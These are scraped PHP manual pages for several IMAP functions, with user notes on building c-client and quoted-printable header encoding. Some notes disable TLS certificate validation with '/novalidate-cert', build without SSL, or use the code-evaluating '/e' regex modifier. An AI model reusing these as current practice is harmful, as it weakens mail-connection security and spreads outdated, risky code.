The c-client.a isn't present on your system after you've installed the imap-uw package. !But! it's actually present at a specific time during the install phase as it's being complied from source - it's just deleted at the end of the compilation process. So, we'll have to break the install process down into it's component processes and get hold of what we need at the appropriate time:

sudo port fetch imap-uw
sudo port extract imap-uw
sudo port patch imap-uw
sudo port configure imap-uw
sudo port build imap-uw
imapLib=/darwinports/var/db/dports/distfiles/imap-uw/lib
imapIncludes=/darwinports/var/db/dports/distfiles/imap-uw/include
sudo mkdir ${imapLib} ${imapInclude}
cd /darwinports/var/db/dports/build/*/*/*/c-client
sudo cp *.c ${imapLib}
sudo cp *.h ${imapIncludes}
sudo cp c-client.a ${imapLib}/libc-client.a
cd ${imapLib}
ranlib - libc-client.a
sudo port install imap-uw

Now, you can just specify:
    --with-imap=/darwinports/var/db/dports/distfiles/imap-uw \
    --with-imap-ssl=/darwinports \
in your ./configure command.
php at got2get dot net 07-Sep-2005 08:04
Install note for FreeBSD:

If you get this:

/libexec/ld-elf.so.1: /usr/local/lib/php/20041030/imap.so: Undefined symbol "ssl_onceonlyinit"

...in your httpd-error.log.

It is because you compiled cclient without SSL support.

However. In order for me to get SquirrelMail woorking, I had to install ports/mail/imap-uw with WITHOUT_SSL=yes and same option for ports/mail/cclient. After doing this, I recompiled cclient w/o any options to get SSL support, and then installed posrt/mail/php5-imap.

This works. But if you just want SSL everywhere - install imap-uw normally, which will install cclient too. After that, install php5-imap normally as well - and you have a working system with SSL.

Hope this saves more people from wasting too much time like I just did ;)

 - Nicolai
v dot 0000000001 dot -0006398047 at vertabiz dot com 23-Jun-2005 09:01
Since this library at a whole is fairly poorly documented, and it doesn't help that there's 30-something functions, and many of the functions do the same things, I have gone through and categorized the functions.  Hopefully this will help somebody else, I know it will help me!! -Justin

CONNECTION, ERRORS & QUOTAS
===========================
imap_timeout
imap_ping
imap_open
imap_reopen
imap_close
imap_check **(fairly useless)
imap_alerts
imap_errors
imap_last_error
imap_get_quota
imap_get_quotaroot
imap_set_quota

MESSAGES - READING
==================
imap_uid
imap_msgno
imap_fetchbody
imap_fetchheader
imap_fetchstructure
imap_fetch_overview
imap_body
imap_rfc822_parse_adrlist
imap_rfc822_parse_headers

MESSAGES - WRITING
==================
imap_mail_compose
imap_mail
imap_append
imap_rfc822_write_address

MESSAGES - OPERATIONS
=====================
imap_undelete
imap_thread
imap_delete
imap_mail_copy
imap_mail_move
imap_expunge
imap_clearflag_full
imap_setflag_full

MESSAGES - DECODE/ENCODE
========================
imap_utf7_decode
imap_utf7_encode
imap_utf8
imap_8bit
imap_base64
imap_binary
imap_mime_header_decode
imap_qprint

FOLDERS
=======
imap_createmailbox
imap_deletemailbox
imap_getmailboxes
imap_mailboxmsginfo
imap_renamemailbox
imap_headers **(fairly useless)
imap_status
imap_sort
imap_search
imap_listscan

NNTP
====
imap_unsubscribe
imap_subscribe
imap_getsubscribed

Others
=============================
imap_num_msg - use imap_mailboxmsginfo()
imap_num_recent - use imap_mailboxmsginfo()
imap_header - alias of imap_headerinfo()
imap_scanmailbox - alias of imap_listscan()
imap_listsubscribed - alias of imap_lsub()
imap_listmailbox - alias of imap_list()
imap_lsub - use imap_getsubscribed()
imap_list - use imap_getmailboxes()
imap_bodystruct - not documented
imap_getacl - not documented
imap_setacl - not documented
imap_headerinfo - use imap_fetch_overview()
Anonymous 13-Apr-2005 12:13
If you are having difficulty compiling on netbsd from source and want imap support then you should know that the c-client library is compiled with kerberos support.  Unfortunately gssapi_krb5 and k5crypto is not on the system (or at least wasn't for me).  I didn't have administrative level access to add these libraries so I had to do the following.  I still have to test that it worked 100% but at least it compiled without complaining.

Comment the following segments from the configure script.

Segment 1 -- test for gssapi_krb5 library

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
    if test "$ext_shared" = "yes"; then
        IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lgssapi_krb5"
    else

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
      LIBS="$LIBS -lgssapi_krb5"
   ;;
  esac

    fi
   ;;
  esac

Segment 2 -- test for k5crypto

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
    if test "$ext_shared" = "yes"; then
        IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lk5crypto"
    else

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
      LIBS="$LIBS -lk5crypto"
   ;;
  esac

    fi
   ;;
  esac

BTW.  Since I was only compiling for the modules (they have suPHP so I compile all my own modules when I need them) I only dropped this in for the php configure script parameters

./configure --with-imap=shared,xxxxxx --with-kerberos=xxxxxx --with-imap-ssl

This is verified working via an imap test.  One excellent test that I located on the phpbuilder.com site.  Here it is.  Modify the address, port, protocol type, username, and password appropriately.  The post was 5 years old but the script still works fine.  The posters name was "Matthew"

<HTML>
<HEAD>
<TITLE>imap_check</TITLE>
</HEAD>
<BODY>
<?
         //check for new messages

         $mailbox = imap_open("{localhost/pop3:110}INBOX",
                 "#username#","#password#");

         // Check messages
         $check = imap_check($mailbox);
         print("<PRE>");
         print("Date most recent message : " . $check->Date);
         print("<BR>");
         print("Connection type : " . $check->Driver);
         print("<BR>");
         print("Name of the mailbox : " . $check->Mailbox);
         print("<BR>");
         print("Number of messages : " . $check->Nmsgs);
         print("<BR>");
         print("Number of recent messages : " . $check->Recent);
         print("<BR>");
         print("</PRE>");

         // show headers for messages

         $index=1;

         $header = imap_header($mailbox, $index);
         print("<PRE>");
         print("Header Date : " . $header->Date . "<BR>");
         print("Header To : " . $header->to) . "<BR>";
         print("Header From : " . $header->From . "<BR>");
         print("Header cc : " . $header->cc . "<BR>");
         print("Header ReplyTo : " . $header->ReplyTo . "<BR>");
         print("Header Subject : " . $header->Subject . "<BR></PRE>");

         print("<PRE>");
         print(imap_body($mailbox,$index));
         print("</PRE><HR>");

         imap_close($mailbox);
?>

</BODY></HTML>
seem dot iges at mail dot ee 15-Feb-2005 05:48
If you like me disvoer that "make slx" fails, but you're damn sure you've openssl installed then, it might be that the lib and include paths on your distro are different then the defaults provided in the imap-2004a (or imap-XXXXx). To modify go to dir ../imap-2004a/src/osdep/unix and edit the section (shown below) in the Makefile

# Extended flags needed for SSL.  You may need to modify.

#SSLDIR=/usr/local/ssl
SSLDIR=/etc/ssl
SSLCERTS=$(SSLDIR)/certs
SSLKEYS=$(SSLCERTS)
#SSLINCLUDE=$(SSLDIR)/include
SSLINCLUDE=/usr/include/openssl
#SSLLIB=$(SSLDIR)/lib
SSLLIB=/usr/lib

SSLCRYPTO=-lcrypto

Commented out SSLDIR, SSLINCLUDE and SSLIB are defaults and the uncommented are valid paths for Slackware (10.0/10.1).
You should also check your ld.so.conf for valid paths.
antivert 13-Jan-2005 08:55
Note that is not not necessary to disable SSL in the IMAP compile to make it work with PHP 5.0.3.

1. Compile IMAP with SSL support for your system:

cd /path/to/imap/source/
make <system type> (ldb, lnx, etc)
mkdir include
mkdir lib

2. Make links in IMAP source directory:

cd /path/to/imap/source/c-client
cp *.h ../include/
cp *.c ../lib/
cp c-client.a ../lib/libc-client.a

3. Compile PHP with SSL support,  --with-imap=/path/to/imap/source/ . If SSL support fails, you'll get a configure-time error that IMAP doesn't work. This is a lie, you just need to get SSL support working in PHP. On certain linux systems, with OpenSSL 0.9.7, this means adding --with-openssl=/usr (if the OpenSSL files are in /usr/include/openssl/) instead of the proper directory containing the OpenSSL files. For some reason, giving a parent directory makes PHP able to find the OpenSSL include files.

4. PHP should build.

Alternately, you can disable SSL during the IMAP build, as per the previous directions posted here.
amit dot gupta at prudence-india dot com 18-Nov-2004 12:44
I faced problem in compiling imap with php-5.0.2 release version. Then following commands on snapshot version solved my problem

# tar -zxvf imap-2004b.DEV.tar.Z
# cd imap-2004b.DEV.SNAP-0411051435/
# make lnp SSLTYPE=none
# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.h /usr/local/imap-2004b.DEV.SNAP-0411051435/include/

# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.c /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/

# ln -s /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/c-client.a /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/libc-client.a

# tar -zxvf php5-STABLE-200411180530.tar.gz

# cd php5-STABLE-200411180530

./configure  --with-apxs2=/usr/sbin/apxs --enable-shared --with-mod_charset --enable-force-cgi-redirect --enable-fastcgi --enable-magic-quotes --with-openssl  --with-zlib  --enable-bcmath  --enable-calendar --with-curl  --with-curlwrappers  --enable-dba   --with-gdbm --with-cdb  --with-inifile  --with-flatfile  --enable-dbase   --enable-dbx     --enable-dio --with-fam  --enable-filepro  --enable-ftp  --with-ldap  --enable-mbstring --with-mysql=/usr/include  --with-zlib-dir  --enable-shmop --enable-soap  --enable-sockets    --enable-sysvmsg   --enable-sysvsem  --enable-sysvshm  --enable-wddx --with-pic --enable-versioning  --with-pgsql --with-java=/usr/java/jdk1.5.0/  --with-imap=/usr/local/imap-2004b.DEV.SNAP-0411051435 --with-kerberos

# make

# make install

Thus, php compiled sucessufully with imap support on fedora core 1.
Pete Spicer, sleeping [at] myperch.org 17-Jul-2004 03:19
I have a pretty much stock set-up of SuSE 8.1 Personal (Apache, PHP et al built by me) and IMAP-2004 refused to build for me.

What I found was, using the make lsu (for SuSE) almost worked built I was getting odd build results, i.e. make failures.

The problem? GCC 3.2. If you don't have an older GCC available, please install one! I installed the gcc_old package from SuSE and built with the following command:

CC=gcc297 make lsu SSLTYPE=none

The result was a perfect build. So if you are getting errors, please try an earlier build of GCC.
Tomas V.V.Cox 11-May-2004 06:15
For compiling this extension without compiling imap from sources I did (this was mandrake):

Install the following rpms:
imap
imap-devel
openssl
openssl-devel
krb5
krb5-devel
pam
pam-devel

Do the trick:
# mkdir /usr/include/imap/lib
# cp /usr/lib/libc-client-PHP4.a /usr/include/imap/lib/libc-client.a

And the configure line:
./configure <options> --with-imap=/usr/include/imap --with-imap-ssl

(don't forget --enable-pear ;)
Predefined Constants
imap_8bit
IMAP


Convert an 8bit string to a quoted-printable string

IMAP Functions
imap_alerts
IMAP Functions
PHP Manual

imap_8bit

(PHP 4, PHP 5)

imap_8bit — Convert an 8bit string to a quoted-printable string

Description

string imap_8bit ( string $string )

Convert an 8bit string to a quoted-printable string (according to » RFC2045, section 6.7).

Parameters

string

The 8bit string to convert

Return Values

Returns a quoted-printable string.

See Also

  • imap_qprint() - Convert a quoted-printable string to an 8 bit string

User Contributed Notes

Michael Konecny 12-Jun-2011 09:57
There is a bug in MS Exchange server, that improperly handles CRLFs. Seems like it converts both CR and LF into LF, so, instead of getting just a new line, you get TWO new lines.
The header information is then improperly parsed by the e-mail client, and is usually viewed in the message body.

This can make custom-created headers unusable.

The only way I found to get around this is to go against RFC rules for header formatting, and use only \n for new lines.

Unfortunately I haven't been able to learn the version of Exchange server where this happened, but I have the feeling that it's not just the one I was unlucky to encounter.

Hope this helps someone.
esh dot software at energiash dot com 02-Sep-2009 06:45
When producing quoted printable emails this is the right way

$subject="Subject: =?iso-8859-1?Q?". imap_8bit("áéíóú"). "?=";

and the following would do the wrong thing, because qprint over "=ED" would produce 8bit data ( í ):

$subject="Subject: =?iso-8859-1?Q?". imap_qprint("=ED"). "?=";
Anonymous 22-Jun-2008 05:25
umu's code seems to work great. BUT if you are on a Unix system you should replace all chr(13).chr(10) with just chr(10)

Works for me anyway on php5.mail() -> qmail@suse10.1 -> outlook express
roman at REMOVETHIS dot teamnet dot com dot pl 11-May-2007 04:26
Code based on k dot kozlowski at enter dot pl but for UTF-8
(the only problem i encounter is SUBJECT_ENCODED_TWICE on SPAM test with very long subject, but the same produce others MUA's)
<?
function header_quoted_printable_encode($string, $encoding='UTF-8') {

    $string = str_replace(" ", "_", trim($string)) ;
    // We need to delete "=\r\n" produced by imap_8bit() and replace '?'
    $string = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($string))) ;

    // Now we split by \r\n - i'm not sure about how many chars (header name counts or not?)
    $string = chunk_split($string, 73);
    // We also have to remove last unneeded \r\n :
    $string = substr($string, 0, strlen($string)-2);
    // replace newlines with encoding text "=?UTF ..."
    $string = str_replace("\r\n", "?=".HEAD_CRLF." =?".$encoding."?Q?", $string) ;

    return '=?'.$encoding.'?Q?'.$string.'?=';
}
?>
umu 28-Jan-2006 05:58
...deed.ztinmehc-ut.zrh@umuumu@hrz.tu-chemnitz.deed...

I use the following function instead of imap_8bit
when using PHP without the IMAP module,
which is based on code found in
http://www.php.net/quoted_printable_decode,
and giving (supposedly) exactly the same results as imap_8bit,
(tested on thousands of random strings containing lots
of spaces, tabs, crlf, lfcr, lf, cr and so on,
no counterexample found SO FAR:)

AND you can force a trailing space to be encoded,
as opposed to what imap_8bit does,
which I consider is a violation of RFC2045,
(see http://bugs.php.net/bug.php?id=35290)
by commenting that one central line.

<?php
function quoted_printable_encode($sText,$bEmulate_imap_8bit=true) {
  // split text into lines
  $aLines=explode(chr(13).chr(10),$sText);

  for ($i=0;$i<count($aLines);$i++) {
    $sLine =& $aLines[$i];
    if (strlen($sLine)===0) continue; // do nothing, if empty

    $sRegExp = '/[^\x09\x20\x21-\x3C\x3E-\x7E]/e';

    // imap_8bit encodes x09 everywhere, not only at lineends,
    // for EBCDIC safeness encode !"#$@[\]^`{|}~,
    // for complete safeness encode every character :)
    if ($bEmulate_imap_8bit)
      $sRegExp = '/[^\x20\x21-\x3C\x3E-\x7E]/e';

    $sReplmt = 'sprintf( "=%02X", ord ( "$0" ) ) ;';
    $sLine = preg_replace( $sRegExp, $sReplmt, $sLine );

    // encode x09,x20 at lineends
    {
      $iLength = strlen($sLine);
      $iLastChar = ord($sLine{$iLength-1});

      //              !!!!!!!!
      // imap_8_bit does not encode x20 at the very end of a text,
      // here is, where I don't agree with imap_8_bit,
      // please correct me, if I'm wrong,
      // or comment next line for RFC2045 conformance, if you like
      if (!($bEmulate_imap_8bit && ($i==count($aLines)-1)))

      if (($iLastChar==0x09)||($iLastChar==0x20)) {
        $sLine{$iLength-1}='=';
        $sLine .= ($iLastChar==0x09)?'09':'20';
      }
    }    // imap_8bit encodes x20 before chr(13), too
    // although IMHO not requested by RFC2045, why not do it safer :)
    // and why not encode any x20 around chr(10) or chr(13)
    if ($bEmulate_imap_8bit) {
      $sLine=str_replace(' =0D','=20=0D',$sLine);
      //$sLine=str_replace(' =0A','=20=0A',$sLine);
      //$sLine=str_replace('=0D ','=0D=20',$sLine);
      //$sLine=str_replace('=0A ','=0A=20',$sLine);
    }

    // finally split into softlines no longer than 76 chars,
    // for even more safeness one could encode x09,x20
    // at the very first character of the line
    // and after soft linebreaks, as well,
    // but this wouldn't be caught by such an easy RegExp
    preg_match_all( '/.{1,73}([^=]{0,2})?/', $sLine, $aMatch );
    $sLine = implode( '=' . chr(13).chr(10), $aMatch[0] ); // add soft crlf's
  }

  // join lines into text
  return implode(chr(13).chr(10),$aLines);
}
?>
hans at lintoo dot dk 22-Dec-2005 06:05
The code below this note gives a lot of trouple with SpamAssasin, to fix it you will need to encode your subject with something like this:
<?php
/**
 * Function to encode a header if necessary
 * according to RFC2047
 */
private function encodeHeader($input, $charset = 'ISO-8859-1')
{
    preg_match_all('/(\s?\w*[\x80-\xFF]+\w*\s?)/', $input, $matches);
    foreach ($matches[1] as $value) {
        $replacement = preg_replace('/([\x20\x80-\xFF])/e', '"=" . strtoupper(dechex(ord("\1")))', $value);
        $input = str_replace($value, '=?' . $charset . '?Q?' . $replacement . '?=', $input);
    }

    return wordwrap($input,75,"\n\t",true);
}
?>
hans at lintoo dot dk 04-Oct-2005 10:35
I modified nick at plumdigitalmedia dot com's note so that it may support ISO-8859-1 encoded headers:
<?php
    public function encodeSubject($string,$prefix="=?ISO-8859-1?Q?",$postfix="?=")    {
        $crlf    = "\n\t";
        $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
        $f[]    = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
        $r[]    = "'=' . sprintf('%02X', ord('\\1'))" ;
        $f[]    = '/([\011\040])' . $crlf . '/e' ;
        $r[]    = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
        $string  = preg_replace($f, $r, $string);
        return $prefix.trim(wordwrap($string, 70 - strlen($prefix) - strlen($postfix), ' ' . $postfix . $crlf . $prefix, true)).$postfix;
    }
?>
Regards, Hans @ http://lintoo.dk/
marco dot manngatter at ecg-leipzig dot de 15-Sep-2005 03:43
you can use the following to make a larger subject.
use the imap_qprint() function, to convert your subject.

example:
<?php

$subject .= "=?iso-8859-1?Q?" . imap_qprint($subject) . "?=";

?>
nick at plumdigitalmedia dot com 10-May-2005 08:15
This function appears to wrap lines in the middle of words, not just at whitespace, which upsets some versions of Outlook Express when used to format email body text. We've had more luck with this function:

<?

    function quoted_printable($string)
    {
        $crlf    = "\n" ;
        $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
        $f[]     = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
        $r[]     = "'=' . sprintf('%02X', ord('\\1'))" ;
        $f[]     = '/([\011\040])' . $crlf . '/e' ;
        $r[]     = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
        $string  = preg_replace($f, $r, $string) ;
        return trim(wordwrap($string, 70, ' =' . $crlf)) ;
    }

?>
k dot kozlowski at enter dot pl 14-Mar-2005 06:50
I had problems with encoding large subjects with polish characters. The problem was that imap_8bit() splits subject (on 75-th char) but when I add "=?ISO-8859-2?Q?" the header is too long.

This is a solution :
<?php
$subject = str_replace(" ", "_", trim($subject)) ;
// We need to delete "=\r\n" produced by imap_8bit() and replace '?'
$subject = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($subject))) ;
// Now we split by \r\n but with encoding text "=?ISO ..."
$subject = str_replace("\r\n", "?=\r\n =?ISO-8859-2?Q?", chunk_split($subject, 55)) ;
// We also have to remove last unneeded encoding text :
$subject = "=?ISO-8859-2?Q?" . substr($subject, 0, strlen($subject)-20) . "?=" ;
?>
rayFX 24-Jun-2004 09:14
imap_8bit seems to have a bug as it doesn't encode "?".
Had a lot of trouble to encode a mail-subject with
german umlaute with an ending "?"...

Try this:

$subject = "=?iso-8859-1?Q?" . str_replace("?","=3F",imap_8bit($tsubject_to_encode)) . "?=";
MagicalTux at FF.ST 15-Dec-2003 06:50
Reading Bully's note :
you can use the following to make a larger subject:
<?
$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
?>
It's wrong. The header MAY NOT go over 75 chars per line.

The right solution :
<?
$encoded = rtrim( str_replace( "\n","\n\t", imap_8bit ($string_to_encode)))."\r\n";
?>

It will add \t at the start of the encoded new lines.
Mailers to see the lines after Subject: as extensions of this header.
php dot net at werner-ott dot de 09-Dec-2002 02:45
A comment on the "split-after-75-characters" phenomenon:

By splitting lines up after 75 characters, the function's behaviour is complying to RFC2047 (http://www.ietf.org/rfc/rfc2047.txt) (which specifies a protocol for the representation of non-ASCII text in message headers), section "2. Syntax of encoded-words".

A so called 'encoded word' has the following format:

   encoded-word = "=?" charset "?" encoding "?" encoded-text "?="

An 'encoded-word' may not be more than 75 characters long, including 'charset', 'encoding', 'encoded-text', and delimiters.  If it is desirable to encode more text than will fit in an 'encoded-word' of 75 characters, multiple 'encoded-word's (separated by CRLF SPACE) may be used.

hth
WOT
bully at newearth dot de 24-Apr-2002 07:48
you can use the following to make a larger subject:

$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
zuffa at isdd dot sk 23-Sep-2000 08:57
Warning !
This function splits input text into
several lines aligned to 75 characters.
This is critical when you need input
text to be only one striaght line as
e.g. in e-mail header values.
IMAP Functions
imap_alerts
IMAP Functions


Returns all IMAP alert messages that have occurred

imap_8bit
imap_append
IMAP Functions
PHP Manual

imap_alerts

(PHP 4, PHP 5)

imap_alerts — Returns all IMAP alert messages that have occurred

Description

array imap_alerts ( void )

Returns all of the IMAP alert messages generated since the last imap_alerts() call, or the beginning of the page.

When imap_alerts() is called, the alert stack is subsequently cleared. The IMAP specification requires that these messages be passed to the user.

Return Values

Returns an array of all of the IMAP alert messages generated or FALSE if no alert messages are available.

See Also

  • imap_errors() - Returns all of the IMAP errors that have occured

User Contributed Notes

There are no user contributed notes for this page.
imap_8bit
imap_append
IMAP Functions


Append a string message to a specified mailbox

imap_alerts
imap_base64
IMAP Functions
PHP Manual

imap_append

(PHP 4, PHP 5)

imap_append — Append a string message to a specified mailbox

Description

bool imap_append ( resource $imap_stream , string $mailbox , string $message [, string $options = NULL [, string $internal_date = NULL ]] )

Appends a string message to the specified mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

message

The message to be append, as a string

When talking to the Cyrus IMAP server, you must use "\r\n" as your end-of-line terminator instead of "\n" or the operation will fail

options

If provided, the options will also be written to the mailbox

internal_date

If this parameter is set, it will set the INTERNALDATE on the appended message. The parameter should be a date string that conforms to the rfc2060 specifications for a date_time value.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.2 | Added INTERNALDATE support to imap_append.

Examples

Example #1 imap_append() example

<?php
$stream = imap_open("{imap.example.org}INBOX.Drafts", "username", "password");

$check = imap_check($stream);
echo "Msg Count before append: ". $check->Nmsgs . "\n";

imap_append($stream, "{imap.example.org}INBOX.Drafts"
                   , "From: me@example.com\r\n"
                   . "To: you@example.com\r\n"
                   . "Subject: test\r\n"
                   . "\r\n"
                   . "this is a test message, please ignore\r\n"
                   );

$check = imap_check($stream);
echo "Msg Count after append : ". $check->Nmsgs . "\n";

imap_close($stream);
?>

User Contributed Notes

bill at dyndns dot org 23-Nov-2011 11:45
Here is how I used this function with an attachment. I used examples from everyone else but made it easier and cleaner to change.

<?php
$authhost="{000.000.000.000:993/validate-cert/ssl}Drafts";

$user="sadasd";
$pass="sadasd";

if ($mbox=imap_open( $authhost, $user, $pass))
{
    $dmy=date("d-M-Y H:i:s");

    $filename="filename.pdf";
    $attachment = chunk_split(base64_encode($filestring));

    $boundary = "------=".md5(uniqid(rand()));

    $msg = ("From: Somebody\r\n"
        . "To: test@example.co.uk\r\n"
        . "Date: $dmy\r\n"
        . "Subject: This is the subject\r\n"
        . "MIME-Version: 1.0\r\n"
        . "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"
        . "\r\n\r\n"
        . "--$boundary\r\n"
        . "Content-Type: text/html;\r\n\tcharset=\"ISO-8859-1\"\r\n"
        . "Content-Transfer-Encoding: 8bit \r\n"
        . "\r\n\r\n"
        . "Hello this is a test\r\n"
        . "\r\n\r\n"
        . "--$boundary\r\n"
        . "Content-Transfer-Encoding: base64\r\n"
        . "Content-Disposition: attachment; filename=\"$filename\"\r\n"
        . "\r\n" . $attachment . "\r\n"
        . "\r\n\r\n\r\n"
        . "--$boundary--\r\n\r\n");

    imap_append($mbox,$authhost,$msg, "\\Draft");

    imap_close($mbox);
}
else
{
    echo "<h1>FAIL!</h1>\n";
}

?>

Hope this helps someone.
Tigggger 08-Aug-2011 09:30
I encountered 3 problems when attempting to get my server to copy messages to the sent folder.

1. Wouldn't login until I added /novalidate-cert
2. No code example of getting the date sent
3. Including an attachment

Hope this code helps others

<?php
$dmy=date("d-M-Y H:i:s");
$dmy.= " +0100"; // Had to do this bit manually as server and me are in different timezones
$stream=@imap_open("{mail.example.com/novalidate-cert}INBOX.Sent", "username", "password");
$boundary = "------=".md5(uniqid(rand()));
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n";
$header .= "\r\n";
$file="../path_to/filename.pdf";
$filename="filename.pdf";
$ouv=fopen ("$file", "rb");$lir=fread ($ouv, filesize ("$file"));fclose
($ouv);
$attachment = chunk_split(base64_encode($lir));
$msg2 .= "--$boundary\r\n";
$msg2 .= "Content-Transfer-Encoding: base64\r\n";
$msg2 .= "Content-Disposition: attachment; filename=\"$filename\"\r\n";
$msg2 .= "\r\n";
$msg2 .= $attachment . "\r\n";
$msg2 .= "\r\n\r\n";
$msg3 .= "--$boundary--\r\n";
imap_append($stream,"{mail.example.com/novalidate-cert}INBOX.Sent","From: Somebody\r\n"."To: test@example.co.uk\r\n"."Date: $dmy\r\n"."Subject: This is the subject\r\n"."$header\r\n"."$msg2\r\n"."$msg3\r\n");
imap_close ($stream);
?>
kaminski at istori dot com 15-Aug-2010 08:52
The date format string to use when creating $internal_date is 'd-M-Y H:i:s O'.
chris at sma-sportsmgmt dot com 07-Feb-2008 11:06
I spend most of today refining the example to make it work properly when saving to the Inbox.Sent folder.

The append command now looks like:

    $return = imap_append($stream,$mailbox_addr
                       , "From: $fromReply\r\n"
                       . "To: $to\r\n"
                       . "Subject: $subject\r\n"
                       . "Date: $now  \r\n"
              . "X-Mailer: Cmail_v2.0 \r\n"
                       . "X-Originating-IP: $ip_addr \r\n"
                       . "MIME-Version: 1 \r\n"
                       . "Content-Type: text/html;\r\n\tcharset=\"ISO-8859-1\"\r\n"
                       . "Content-Transfer-Encoding: 8bit \r\n"
                       . "\r\n\r\n"
                       . "$wk_msg\r\n"
                       );

This inserts the current date into the email and lets it support html content. The one thing that I haven't got working yet is including attachments. I presumably have to make the boundaries and attachment content part of the message body.

Chris
jille at DIESPAMMERShexon dot cx 03-May-2007 07:36
The last argument, $options, are flags like for use with imap_setflag_full.
It took a while before I found out
svicentemolina at gmail dot com 17-Jan-2007 07:57
I have used this function to copy all the emails of one account from one server to another. The problem was that this function don't copy the original receiving date for each message.
To add a fifth field to provide the date, I have made some changes at some php source files following the steps described in http://www.zend.com/lists/php-dev/200303/msg00843.html and it has worked fine.
The correct date format is the returned by the function mail_date in c-client/mail.c source file, for instance: "17-Jan-2007 10:00:01 +0100"
bithive 23-Jun-2003 03:26
The parameter description is misleading.  You can pass a string of flags such as '\Seen' [see imap_setflag_full()] as the last argument.  In the other imap functions, 'options' seems to usually refer to a bitmask, not message flags.
michel dot jansens at ulb dot ac dot be 29-Apr-2003 07:29
I use imap_append() to decode message/rfc822 attachments type(embedded emails):

$attachment = imap_fetchbody($mbox,$mailuid,$atpos,FT_UID);
$attachment = imap_base64($attachment);
$res =  imap_append($mbox,mboxspec("INBOX"),$attachment);
//the embedded email is now a normal mail in my INBOX
bluebiru78 at hotmail dot com 12-Jun-2002 12:24
i used imap_append to copy any composed message into INBOX.Sent folder..

$app = imap_append($stream,"{" . $connectstring . "}INBOX.Sent","$header\r\n" ."$mbody\r\n");

if (!$app) {
 error("Email copying to Sent folder FAILED!");
}
owain at vaughan dot com 01-Aug-2001 06:49
With SIMS IMAP server you also need to use \r\n as a line terminator, otherwise you will be able to add all the header lines correctly, but the body of the message will not be saved.<br>
You can use \n by itself for each header line, but when creating the blank line between the headers and the body you must use \r\n\r\n
jesper at angelo dot dk 14-Sep-1999 09:13
Please observe that imap_append() do not support NNTP posting. Use fsockopen() instead, and do the work yourself.
imap_alerts
imap_base64
IMAP Functions


Decode BASE64 encoded text

imap_append
imap_binary
IMAP Functions
PHP Manual

imap_base64

(PHP 4, PHP 5)

imap_base64 — Decode BASE64 encoded text

Description

string imap_base64 ( string $text )

Decodes the given BASE-64 encoded text.

Parameters

text

The encoded text

Return Values

Returns the decoded message as a string.

See Also

  • imap_binary() - Convert an 8bit string to a base64 string
  • base64_encode() - Encodes data with MIME base64
  • base64_decode() - Decodes data encoded with MIME base64
  • » RFC2045, Section 6.8

User Contributed Notes

chris at deliens dot be 04-Mar-2011 07:45
Looks like this function has exactly the same behavior as base64_decode($test, true) -> it returns FALSE if $text contains characters outside the Base64 alphabet, although this isn't documented here.
imap_append
imap_binary
IMAP Functions


Convert an 8bit string to a base64 string

imap_base64
imap_body
IMAP Functions
PHP Manual

imap_binary

(PHP 4, PHP 5)

imap_binary — Convert an 8bit string to a base64 string

Description

string imap_binary ( string $string )

Convert an 8bit string to a base64 string according to » RFC2045, Section 6.8.

Parameters

string

The 8bit string

Return Values

Returns a base64 encoded string.

See Also

  • imap_base64() - Decode BASE64 encoded text

User Contributed Notes

phunction.sf.net 10-Jun-2010 06:26
Calling this function is the same as doing:

<?php

chunk_split(base64_encode($string), 60);

?>
imap_base64
imap_body
IMAP Functions


Read the message body

imap_binary
imap_bodystruct
IMAP Functions
PHP Manual

imap_body

(PHP 4, PHP 5)

imap_body — Read the message body

Description

string imap_body ( resource $imap_stream , int $msg_number [, int $options = 0 ] )

imap_body() returns the body of the message, numbered msg_number in the current mailbox.

imap_body() will only return a verbatim copy of the message body. To extract single parts of a multipart MIME-encoded message you have to use imap_fetchstructure() to analyze its structure and imap_fetchbody() to extract a copy of a single body component.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

options

The optional options are a bit mask with one or more of the following:

  • FT_UID - The msg_number is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

Return Values

Returns the body of the specified message, as a string.

User Contributed Notes

paddywwoof 26-Jan-2011 05:09
NB the message numbers start from 1 not 0 as normally used for iterating.
deenfirdoush at gmail dot com 14-Dec-2009 07:08
Simple example on how to read body message of the recent mail.

<?php
$imap = imap_open("{pop.example.com:995/pop3/ssl/novalidate-cert}", "username", "password");

if( $imap ) {

     //Check no.of.msgs
     $num = imap_num_msg($imap)

     //if there is a message in your inbox
     if( $num >0 ) {
          //read that mail recently arrived
          echo imap_qprint(imap_body($imap, $num));
     }

     //close the stream
     imap_close($imap);
}
?>
imap_binary
imap_bodystruct
IMAP Functions


Read the structure of a specified body section of a specific message

imap_body
imap_check
IMAP Functions
PHP Manual

imap_bodystruct

(PHP 4, PHP 5)

imap_bodystruct — Read the structure of a specified body section of a specific message

Description

object imap_bodystruct ( resource $imap_stream , int $msg_number , string $section )

